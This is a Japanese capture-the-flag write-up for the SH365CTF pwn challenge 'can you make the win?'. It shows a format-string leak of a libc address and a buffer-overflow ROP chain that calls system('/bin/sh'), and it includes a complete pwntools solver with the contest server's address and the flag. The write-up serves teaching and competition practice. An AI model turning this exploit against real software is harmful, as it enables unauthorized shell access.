[pwn] can you make the win? (SH365CTF) writeup

---

- Source: SH365CTF
- Author: [Iwancof](https://x.com/Iwancof_ptr)

 ※ SH365CTFは[SecHack365](https://sechack365.nict.go.jp/)（2024 4th Event Week）にて、有志によって非公式に開催されたCTFです。

---

問題ファイルと`libc.so.6`、`ld-linux-x86-64.so.2`が配布された。
strlen, puts, printfに対して任意の入力を与えることができるという処理をループしている。

<details><summary>chall.c</summary>

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
  // 初心者は無視してください
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  int opt;
  char buffer[0x50];

  do {
    puts("Options");

    puts("1: strlen\n"
         // "2: system\n"
         "3: puts\n"
         "4: printf\n");

    printf("Option: ");
    scanf("%d%*c", &opt);

    printf("buffer: ");
    fgets(buffer, 0x100, stdin);
    switch (opt) {
    case 1:
      puts("strlen");
      printf("strlen: %ld\n", strlen(buffer));
      break;
    /*
    case 2:
      puts("system");
      system(buffer);
      break;
    */
    case 3:
      puts("puts");
      puts(buffer);
      break;
    case 4:
      puts("printf");
      printf(buffer);
      break;
    default:
      puts("Invalid option");
      return 0;
    }
  } while (1);
}
```

</details>

この問題はシリーズものになっており、前の問題はBOFを用いてwin関数を呼び出すものだった。この問題ではwin関数なしでどうにかシェルを奪う必要がある。

まずはchecksecする。Partial RELRO、No canary、No PIE、なるほど。
```sh
$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   31) Symbols       No    0               2               chall
```

そして、配布されたlibcとリンカを問題ファイルに紐づけてやる。
```sh
$ patchelf --replace-needed libc.so.6 ./libc.so.6 chall
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 chall
$ ldd chall
        linux-vdso.so.1 (0x00007ffd559c2000)
        ./libc.so.6 (0x00007fd31da14000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd31dc28000)
```

問題ソースコードより、明らかに Buffer Overflow の脆弱性がある。
```c
char buffer[0x50];

// (略)

fgets(buffer, 0x100, stdin);
```

また、`printf()`に直接bufferを渡しているので、Format String Bug の脆弱性もある。
```c
printf(buffer);
```

ということで、main関数のreturnアドレスをlibc内のsystem関数に書き換え、`system("/bin/sh")`を実行してシェルを呼び出すこと（ret2libc）を目標とする。

しかし、ASLRがONなのでlibc内のアドレスは実行の度に毎回異なる。よってsystem関数のアドレスを特定する必要がある。

まずはmain関数のreturnアドレスを取得したい。libcでは`__libc_start_call_main`関数からmain関数を呼び出しているので、main関数のreturnアドレスは`__libc_start_call_main`関数の中のどこかになっているはず。

ここで、bufferが0x50byte、opt(int型)が16byteなのでmain関数のreturnアドレスはbufferの頭から数えて0x68byte先だと分かる。（前の問題から分かっていた）
さらに6つのレジスタの存在を加味すると、main関数のreturnアドレスを取得するFSBのpayloadは`%19$p`となる。

ここまでをpwntoolsで書くとこうなる。
```py
from pwn import *  

chall = "./chall"  
elf = ELF(chall)  

context.binary = chall 
p = process(chall) 

# Optionの選択 
p.recvuntil("Option: ")  
p.sendline("4")

# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")

# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))
```

さて、ここで配布された`libc.so.6`から`__libc_start_call_main`関数の相対アドレス（`libc.so.6`の先頭のアドレスと`__libc_start_call_main`関数のアドレスの差分、これは環境によらず毎回同じ）を求める。これはpwntoolsで簡単に求められる。

main関数のreturnアドレスと`__libc_start_call_main`関数がどれだけ離れているかのオフセットも必要になる。gdbで`__libc_start_call_main`のアドレスを確認し、main関数のreturnアドレスの差分を取ると122という数字が得られた。

```
gdb-peda$ p __libc_start_call_main
$1 = {void (int (*)(int, char **, char **), int, char **)} 0x7ffff7dd5150 <__libc_start_call_main>
```

```
gdb-peda$ finish
Run till exit from #0  main () at ./chall.c:8
Options
1: strlen
3: puts
4: printf

Option: 4
buffer: %19$p
printf
0x7ffff7dd51ca
```

`0x7ffff7dd51ca` - `0x7ffff7dd5150` = `0x7a` = `122`

よって、libcのベースアドレスは以下のコードで求められる。
この後libcからsystem関数を呼び出すので、求めたベースアドレスをついでにセットしている。
余談だが、libcのベースアドレスの下2桁は必ず`0x00`となるので、確認も兼ねてassertしても良いかもしれない。
```py
libc = ELF("./libc.so.6") 

# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))
```

いよいよpayloadの作成に入る。正直ここは人に解説できるほど理解していないので省略するが、Return Oriented Programmingという手法で`system("/bin/sh")`を呼び出している。
[WaniCTFの公式solver](https://github.com/wani-hackase/wanictf2023-writeup/blob/main/pwn/ret2libc/solver/x.py)を大いに参考にした。
```py
# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))
```

最終的なsolverは以下のようになった。
```py
from pwn import *  
from sys import argv
 
context.log_level = "debug"  

# 実行ファイルとライブラリのパス
chall = "./chall"  
libc = ELF("./libc.so.6") 
elf = ELF(chall)  

context.binary = chall

# リモートかローカルかの選択
if len(argv) >= 2 and argv[1] == "remote":  
    p = remote("18.176.188.206", 14003)  
else:
    p = process(chall) 

# Optionの選択 
p.recvuntil("Option: ")  
p.sendline("4")

# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")

# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))

# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))

# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))

# Optionの選択
p.recvuntil("Option: ")
p.sendline("4")

# shellを取得
p.recvuntil("buffer: ")
p.sendline(payload)

# interactive modeへ移行
p.interactive()
```

これでシェルを呼び出し、`cat /flag`を実行すればflagを取得できた。
`SecHack365{wr173-7h3-f5b-94y104d-by-h4nd}`